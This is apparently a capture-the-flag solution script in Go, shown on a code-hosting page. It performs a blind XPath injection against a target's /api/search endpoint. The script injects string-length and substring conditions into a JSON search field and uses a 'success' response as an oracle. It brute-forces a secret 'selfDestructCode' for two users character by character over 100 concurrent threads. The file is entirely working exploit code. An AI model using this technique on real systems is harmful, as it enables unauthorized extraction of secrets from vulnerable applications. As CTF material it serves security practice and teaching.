-
Notifications
You must be signed in to change notification settings - Fork 12
Expand file tree
/
Copy pathsolve.go
More file actions
103 lines (74 loc) · 1.92 KB
/
solve.go
File metadata and controls
103 lines (74 loc) · 1.92 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
package main
import (
"bytes"
"fmt"
"io"
"os"
"sync"
"net/http"
)
const THREADS = 100
var guard = make(chan struct{}, THREADS)
var wg sync.WaitGroup
var baseUrl string
var flag []rune
func oracle(reqBody string) bool {
guard <- struct{}{}
req, _ := http.NewRequest("POST", baseUrl+"/api/search", bytes.NewBuffer([]byte(reqBody)))
req.Header.Set("Content-Type", "application/json")
res, err := (&http.Client{}).Do(req)
if err != nil {
<-guard
return false
}
defer res.Body.Close()
body, err := io.ReadAll(res.Body)
if err != nil {
panic(err)
}
<-guard
return bytes.Contains(body, []byte("success"))
}
func testLength(name string, length int) bool {
reqBody := fmt.Sprintf(`{"search":"%s' and string-length(selfDestructCode)=%d and '1'='1"}`, name, length)
return oracle(reqBody)
}
func testFlagCharacter(name string, b rune, index int) bool {
reqBody := fmt.Sprintf(`{"search":"%s' and substring(selfDestructCode, %d, 1)='%c"}`, name, index, b)
return oracle(reqBody)
}
func main() {
baseUrl = "http://" + os.Args[1]
chars := "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!#$%&*+-.<=>?@_{}"
firstName, secondName := "Groorg", "Bobhura"
firstLength, secondLength := 1, 1
for !testLength("Groorg", firstLength) {
firstLength++
}
for !testLength("Bobhura", secondLength) {
secondLength++
}
flag = make([]rune, firstLength+secondLength)
for _, c := range chars {
for i := 1; i <= firstLength; i++ {
wg.Add(1)
go func(b rune, index int) {
defer wg.Done()
if flag[index-1] == 0 && testFlagCharacter(firstName, b, index) {
flag[index-1] = b
}
}(c, i)
}
for i := firstLength + 1; i <= firstLength+secondLength; i++ {
wg.Add(1)
go func(b rune, index int) {
defer wg.Done()
if flag[index-1] == 0 && testFlagCharacter(secondName, b, index-firstLength) {
flag[index-1] = b
}
}(c, i)
}
}
wg.Wait()
fmt.Println(string(flag))
}